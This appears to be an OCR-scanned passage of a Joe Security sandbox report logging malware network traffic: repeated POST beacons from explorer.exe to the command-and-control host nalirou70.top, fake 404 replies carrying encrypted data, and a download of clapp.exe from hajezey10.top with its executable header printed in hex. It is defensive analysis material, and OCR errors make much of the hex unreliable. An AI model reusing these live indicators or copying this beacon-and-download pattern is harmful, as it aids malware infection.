7e 26 a0 81 ba 07 47 7d bb fb ce 3b 33 f0 82 6¢ 27 b4 e3 e4 ce 70 68 98 3b 6a fe da 3d b3 f5 3f 78 81 42 7b f9 €8 f0 85 a5
46 e5

Data Ascii: 1f66S(SWViP"&&grq|6?elJ5~/ar* g1Q5ih. Kw:i/+".]pWIRY8|M+%t+xQ<e2P0YObyT=a'4! YU\dIXKg[Ge92)g z6\E'
JWpHk"HI?0|6NI[LeU[0z;+W~5=PVpGZIqV@q!UvyOZ:-A%GkKm@NQ>[J8},5"IG0Z"?kQTIMQCd%\! &Q#F<pvA>C/
CbGBj4VFv2B0o]6HPg5P[F6'NGc_,/DO9W%bJIR}TzI9N\me=>"th"1%@GN!K.iwA0!Wnawjg";kzRN{},zHB(yw+;5l0?hs#9Acw
9kwNT7& XwIH%f4-owr7Hg7;=9&9c0{%#=9FX?SCnv4ddOU"Tiz=p.jh"?Gaf<=g?$W-{ir[6dQ;}5C%I(A5:/b"v(5Y5job SxF/
Mv#JzB~&G};3I'ph;j=?xB{F

Destination IP Destination Port Process

47.74.84.15 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://rykrbxyl.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 228

Host: nalirou70.top

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Tue, 09 Nov 2021 21:21:45 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 31 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 6472657373 3e41 7061 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 6e 61 6¢ 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f
64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 191<IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></htmI>0

Destination IP Destination Port Process

47.74.84.15 80 C:\Windows\explorer.exe
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kBytes

Timestamp transferred

Nov 9, 2021 9104

22:21:46.581892014 CET

Nov 9, 2021 9105

22:21:47.560492039 CET

Session ID Source IP

24 192.168.2.4
kBytes

Timestamp transferred

Nov 9, 2021 9106

22:21:47.884145021 CET

Nov 9, 2021 9120

22:21:48.863132954 CET

Session ID Source IP

25 192.168.2.4
kBytes

Timestamp transferred

Nov 9, 2021 10153

22:21:49.553529024 CET

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49867

Direction

ouT

Source Port
49870

Direction
ouT

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://oaayoceae.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 293

Host: nalirou70.top

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Tue, 09 Nov 2021 21:21:47 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 31 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2C 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
20 61 74 20 6e 61 6¢ 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f
64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d Oa 0d Oa

Data Ascii: 191<!IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></htm|>0

Destination IP Destination Port Process

47.74.84.15 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://ukalfymca.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 318

Host: nalirou70.top

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Tue, 09 Nov 2021 21:21:48 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 32 61 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 86 4c 02 71 17 €9 f7 dc fc be 1le b4
53 dd 6e b6 46 4f da 00 e9 ec 0d Oa 30 0d Oa 0d Oa

Data Ascii: 2al:820L.qSnFO0

Destination IP  Destination Port Process

47.74.84.15 80 C:\Windows\explorer.exe

Data

GET /clapp.exe HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: hajezey10.top
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kBytes

Timestamp transferred Direction Data
Nov 9, 2021 10507 IN HTTP/1.1 200 OK
22:21:50.416901112 CET Date: Tue, 09 Nov 2021 21:21:50 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38

Last-Modified: Tue, 09 Nov 2021 21:21:02 GMT

ETag: "59400-5d061afb7963f"

Accept-Ranges: bytes

Content-Length: 365568

Connection: close

Content-Type: application/octet-stream

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 €0 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 bd 92 82 96 f9 3 ec ¢5 f9 f3 ec c5 f9 3 ec c5 96 85 47 ¢5 d3 f3 ec ¢5 96 85 72 c5
e8f3 ec c5 96 85 46 c5 e f3 ec ¢5 f0 8b 7f c5 fe f3 ec ¢5 f9 f3 ed ¢5 7c f3 ec ¢5 96 85 43 ¢5 8 3 ec ¢5 96 85 76 ¢5 8 {3 ec
€596 85 71 c5 f8 f3 ec ¢5 52 69 63 68 f9 f3 ec c5 00 00 00 00 00 00 00 00 50 45 00 00 4¢ 01 04 00 32 b7 75 60 00 00 00
00 00 00 00 00 e0 00 02 01 Ob 01 Oa 00 00 30 04 00 00 a6 70 02 00 00 00 00 10 9e 02 00 00 10 00 00 00 40 04 00 00 00
40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 75 02 00 04 00 00 a6 1f 06 00 02
00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 9¢ 32 04 00
50 00 00 00 00 b0 73 02 10 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 02 b0 17 00 00 40 12 00
00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 97 02 00 40 00 00 00 00 00
00 00 00 00 00 00 00 10 00 00 ec 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e
74 65 78 74 00 00 00 58 2e 04 00 00 10 00 00 00 30 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60
2e 64 61 74 61 00 00 00 2c 64 6f 02 00 40 04 00 00 12 00 00 00 34 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00
c02e 72 73 72 63 00 00 00 10 42 00 00 00 b0 73 02 00 44 00 00 00 46 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00
00 40 2e 72 65 6¢ 6f 63 00 00 c8 09 01 00 00 00 74 02 00 Oa 01 00 00 8a 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40
00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$GrF|CvqRichPEL2u 0p@ @u2PsBt@@.textX.0 ".da
ta,do@4@.rsrcBsDF@ @.reloct@B

Session ID Source IP Source Port Destination IP Destination Port Process
26 192.168.2.4 49873 47.74.84.15 80 C:\Windows\explorer.exe
kBytes
Timestamp transferred Direction Data
Nov 9, 2021 10891 ouT POST /HTTP/1.1
22:21:56.331912041 CET Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*

Referer: http://mugembbijlb.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 273

Host: nalirou70.top

Nov 9, 2021 10900 IN HTTP/1.1 404 Not Found

22:21:57.324249029 CET Server: nginx/1.20.1
Date: Tue, 09 Nov 2021 21:21:56 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 31 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3¢ 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 6e 61 6¢ 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f
64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa
Data Ascii: 191<IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></htmI>0

Session ID Source IP Source Port Destination IP Destination Port Process

27 192.168.2.4 49876 47.74.84.15 80 C:\Windows\explorer.exe
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kBytes
Timestamp transferred

Nov 9, 2021 10901
22:21:57.647646904 CET

Nov 9, 2021 10902
22:21:58.624716043 CET

Session ID Source IP
28 192.168.2.4

kBytes
Timestamp transferred
Nov 9, 2021 10903

22:21:58.953413010 CET

Nov 9, 2021 10904
22:21:59.950552940 CET

Session ID Source IP
29 192.168.2.4

kBytes
Timestamp transferred
Nov 9, 2021 10905

22:22:00.281280994 CET

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49877

Direction

ouT

Source Port
49879

Direction

ouT

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://crrgldha.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 235

Host: nalirou70.top

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Tue, 09 Nov 2021 21:21:58 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 31 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
20 61 74 20 6e 61 6¢ 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f
6479 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d Oa 0d Oa

Data Ascii: 191<!IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></htm|>0

Destination IP Destination Port Process

47.74.84.15 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://hbrlkj.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 132

Host: nalirou70.top

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Tue, 09 Nov 2021 21:21:59 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 31 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3¢ 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 726573 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
20 61 74 20 6e 61 6¢ 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f
64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa Od Oa

Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html|><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></htmI>0

Destination IP Destination Port Process

47.74.84.15 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://lvejmcuwng.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 151

Host: nalirou70.top
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kBytes
Timestamp transferred

Nov 9, 2021 10906
22:22:01.260890961 CET

Session ID Source IP
3 192.168.2.4

kBytes
Timestamp transferred
Nov 9, 2021 1211

22:20:48.773745060 CET

Nov 9, 2021 1212
22:20:49.752573013 CET

Session ID Source IP
30 192.168.2.4

kBytes
Timestamp transferred
Nov 9, 2021 11320

22:22:03.488976002 CET

Nov 9, 2021 11321
22:22:04.466861963 CET

Session ID Source IP

31 192.168.2.4
kBytes

Timestamp transferred

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49779

Direction

ouT

Source Port

49881

Direction

ouT

Source Port

49882

Direction

Data

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Tue, 09 Nov 2021 21:22:00 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 36 37 0d Oa 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 84 42 09 25 16 f9 b5 8f bd b8 15 a5 Oc
ce 2c b4 59 52 db 04 e5 fd 28 e3 22 58 1b b2 ed cf 00 b4 51 df 43 dO fe 2e 83 21 eb af 95 53 2d e5 b4 4f 28 e3 b3 b5 6e fb
91 b4 5f ab 74 90 cc 36 43 57 39 09 4e dc bb 41 bb e8 51 85 b1 ca 0d cd 3a d6 cf 74 6a 0d 0a 30 0d Oa 0d Oa

Data Ascii: 671:820B%,YR("XQC.!S-O(n_t6CW9INAQ:tj0

Destination IP Destination Port Process

47.74.84.15 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://pstanat.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 205

Host: nalirou70.top

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Tue, 09 Nov 2021 21:20:49 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 0d Oa 14 00 00 00 7b fa f7 18 b5 69 2b 2c 47 fa Oe a8 c1 82 9f 4f 1a c4 da 16 00 Od Oa 30 0d Oa Od Oa
Data Ascii: 19{i+,GO0

Destination IP Destination Port Process

47.74.84.15 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://rviwdspfo.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 182

Host: nalirou70.top

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Tue, 09 Nov 2021 21:22:04 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 31 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3¢ 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 72657373 3e41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 6e 61 6¢ 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e Oa 3c 2f 62 6f
64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 191<IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></htmI>0

Destination IP Destination Port Process

47.74.84.15 80 C:\Windows\explorer.exe

Data
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kBytes
Timestamp transferred

Nov 9, 2021 11322
22:22:04.794352055 CET

Nov 9, 2021 11323
22:22:05.783566952 CET

Session ID Source IP
32 192.168.2.4

kBytes
Timestamp transferred
Nov 9, 2021 11324

22:22:06.118443966 CET

Nov 9, 2021 11325
22:22:07.083628893 CET

Session ID Source IP
33 192.168.2.4

kBytes
Timestamp transferred
Nov 9, 2021 11326

22:22:07.410958052 CET

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49884

Direction

ouT

Source Port
49885

Direction

ouT

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://kcurrviwmx.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 268

Host: nalirou70.top

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Tue, 09 Nov 2021 21:22:05 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 31 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
